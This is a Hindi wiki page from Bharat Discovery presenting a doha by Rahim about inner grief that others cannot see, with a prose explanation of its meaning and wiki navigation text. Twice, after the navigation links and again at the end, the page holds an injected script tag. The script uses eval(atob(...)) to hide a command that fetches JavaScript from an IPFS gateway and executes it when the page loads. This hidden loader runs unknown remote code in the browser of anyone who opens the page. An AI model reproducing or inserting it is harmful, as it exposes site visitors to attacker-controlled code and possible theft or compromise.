अन्तर दावा लगि रहै -रहीम

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 12:01, 12 फ़रवरी 2016 का अवतरण ('<div class="bgrahimdv"> अन्तर दावा लगि रहै, धुआं न प्रगटै सोय।<br /> क...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

अन्तर दावा लगि रहै, धुआं न प्रगटै सोय।
के जिय जाने आपनो, जा सिर बीती होय॥

अर्थ

आग अन्तर में सुलग रही है, पर उसका धुआं प्रकट नहीं हो रहा है। जिसके सिर पर बीतती है, उसी का जी उस आग को जानता है। कोई दूसरे उस आग का यानी दु:ख का मर्म समझ नहीं सकते।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>